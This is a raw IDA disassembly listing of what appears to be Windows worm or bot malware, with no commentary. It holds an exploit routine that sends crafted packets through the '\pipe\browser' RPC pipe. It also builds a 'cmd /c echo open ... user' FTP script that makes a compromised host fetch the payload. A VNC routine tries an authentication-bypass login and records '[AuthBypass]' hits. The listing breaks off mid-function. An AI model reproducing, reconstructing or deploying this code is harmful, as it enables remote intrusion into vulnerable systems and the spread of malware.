		db 0DBh	; Û
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A7h	; §
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  2Ch	; ,
		db  29h	; )
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A5h	; ¥
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db 0F8h	; ø
		db 0D7h	; ×
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  43h	; C
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA14
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------


loc_40DA14:				; CODE XREF: ___:0040DA0Dj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 273093Bh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA58


loc_40DA51:				; CODE XREF: ___:0040DB30j
					; ___:0040DD06j ...
		xor	al, al
		jmp	loc_40DE9C
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: ___:0040DA4Fj
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432904
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_4328F0
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jnz	short loc_40DB35


loc_40DB27:				; CODE XREF: ___:0040DC01j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26809B4h
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DB35:				; CODE XREF: ___:0040DB25j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_432898[esi], bl
		jz	short loc_40DBAC
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CE36C
		jmp	short loc_40DBBF
; ---------------------------------------------------------------------------


loc_40DBAC:				; CODE XREF: ___:0040DB98j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4328E7+1)


loc_40DBBF:				; CODE XREF: ___:0040DBAAj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_43288C[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB27
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_432894[esi]
		push	7
		add	eax, edi
		push	offset dword_432880
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432720
		push	eax
		call	sub_41C310
		mov	eax, dword_432890[esi]
		add	esp, 30h
		cmp	byte_432898[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB8
		push	4
		add	eax, edi
		push	offset dword_4CE364
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4328B0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCE0
; ---------------------------------------------------------------------------


loc_40DCB8:				; CODE XREF: ___:0040DC69j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4328B0


loc_40DCC9:				; CODE XREF: ___:0040DCDEj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC9


loc_40DCE0:				; CODE XREF: ___:0040DCB6j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0B
		push	dword ptr [ebp-4]
		call	near ptr 26809B4h
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA51
; ---------------------------------------------------------------------------


loc_40DD0B:				; CODE XREF: ___:0040DCF4j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276A4
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD78


loc_40DD70:				; CODE XREF: ___:0040DD73j
		inc	eax
		test	al, 3
		jnz	short loc_40DD70
		mov	[ebp+0Ch], eax


loc_40DD78:				; CODE XREF: ___:0040DD6Ej
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 27208BEh
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx


loc_40DDE5:				; CODE XREF: ___:0040DE6Fj
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE7A
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE77
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE69
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_40DE50
		nop
		call	near ptr 26A08B1h
		cmp	eax, 3E5h
		jnz	loc_40DA51


loc_40DE50:				; CODE XREF: ___:0040DE3Dj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26B0000h
		cmp	eax, 102h
		jnz	short loc_40DE69
		mov	byte ptr [ebp+0Bh], 1


loc_40DE69:				; CODE XREF: ___:0040DE1Cj
					; ___:0040DE63j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE5
		jmp	short loc_40DE7A
; ---------------------------------------------------------------------------


loc_40DE77:				; CODE XREF: ___:0040DE17j
		mov	esi, [ebp-8]


loc_40DE7A:				; CODE XREF: ___:0040DDE9j
					; ___:0040DE75j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE96
		push	dword ptr [ebp-4Ch]
		call	edi


loc_40DE96:				; CODE XREF: ___:0040DE8Fj
		cmp	[ebp+0Bh], bl
		setnz	al


loc_40DE9C:				; CODE XREF: ___:0040DA53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D5h	; Õ
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Ah	; *
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  69h	; i
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db  90h	; 
		db 0E8h	; è
		db  36h	; 6
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  80h	; €
		db 0B3h	; ³
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  38h	; 8
		db  29h	; )
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  37h	; 7
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  86h	; †
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E6h	; æ
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		db 53h
		dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
		dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
		dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
		dd 7D0h, 2F8DE890h, 83430228h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE3	proc near		; CODE XREF: sub_40E0D1+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B1
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B1
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB380
		push	[ebp+arg_0]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B5


loc_40E0B1:				; CODE XREF: sub_40DFE3+50j
					; sub_40DFE3+62j
		xor	eax, eax
		jmp	short loc_40E0CC
; ---------------------------------------------------------------------------


loc_40E0B5:				; CODE XREF: sub_40DFE3+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40E0CC:				; CODE XREF: sub_40DFE3+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D1	proc near		; CODE XREF: sub_40C125+1EAp
					; DATA XREF: ___:off_431AF4o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CB684
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB644
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E143
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E124
		push	esi
		jmp	short loc_40E13D
; ---------------------------------------------------------------------------


loc_40E124:				; CODE XREF: sub_40E0D1+4Ej
		push	0
		push	1213h
		push	offset dword_4329AC
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E147


loc_40E13D:				; CODE XREF: sub_40E0D1+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40E143:				; CODE XREF: sub_40E0D1+3Cj
		xor	eax, eax
		jmp	short loc_40E189
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E0D1+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE3
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E186
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431AF8[eax]
		lea	eax, dword_431AF8[eax]


loc_40E186:				; CODE XREF: sub_40E0D1+9Ej
		push	1
		pop	eax


loc_40E189:				; CODE XREF: sub_40E0D1+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18D	proc near		; CODE XREF: ___:0040E27Bp
					; ___:0040E2DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40E195:				; CODE XREF: sub_40E18D+2Dj
		test	edi, edi
		jle	short loc_40E1C0
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB65C
		test	eax, eax
		jz	short loc_40E1BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BC
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E195
; ---------------------------------------------------------------------------


loc_40E1BC:				; CODE XREF: sub_40E18D+22j
					; sub_40E18D+27j
		xor	eax, eax
		jmp	short loc_40E1C3
; ---------------------------------------------------------------------------


loc_40E1C0:				; CODE XREF: sub_40E18D+Aj
		push	1
		pop	eax


loc_40E1C3:				; CODE XREF: sub_40E18D+31j
		pop	edi
		pop	esi
		retn
sub_40E18D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C6	proc near		; CODE XREF: ___:0040E2C7p
					; ___:0040E2F4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E203
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FD


loc_40E1D6:				; CODE XREF: sub_40E1C6+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E203
		test	eax, eax
		jz	short loc_40E203
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D6


loc_40E1FD:				; CODE XREF: sub_40E1C6+Ej
		push	1
		pop	eax


loc_40E200:				; CODE XREF: sub_40E1C6+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40E1C6+8j
					; sub_40E1C6+2Bj ...
		xor	eax, eax
		jmp	short loc_40E200
sub_40E1C6	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433BF0
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB6C4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E235
		push	eax
		jmp	short loc_40E269
; ---------------------------------------------------------------------------


loc_40E235:				; CODE XREF: ___:0040E230j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB684
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB644
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E274
		push	ebx


loc_40E269:				; CODE XREF: ___:0040E233j
		call	dword_4CB6DC
		jmp	loc_40E46F
; ---------------------------------------------------------------------------


loc_40E274:				; CODE XREF: ___:0040E266j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E468
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2C0
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E468


loc_40E2C0:				; CODE XREF: ___:0040E2B4j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E468
		push	1
		push	offset dword_4CB4FC
		push	ebx
		call	sub_40E1C6
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E468
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F8
		push	edi
		push	esi
		push	ebx
		call	sub_40E18D
		add	esp, 0Ch


loc_40E3F8:				; CODE XREF: ___:0040E3EBj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A73
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431AF8[eax]
		push	ebx
		lea	eax, dword_431AF8[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E468:				; CODE XREF: ___:0040E285j
					; ___:0040E2AAj ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46F:				; CODE XREF: ___:0040E26Fj
		xor	eax, eax


loc_40E471:				; CODE XREF: ___:0040E466j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47F:				; CODE XREF: ___:0040E49Bj
					; ___:0040E4B7j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
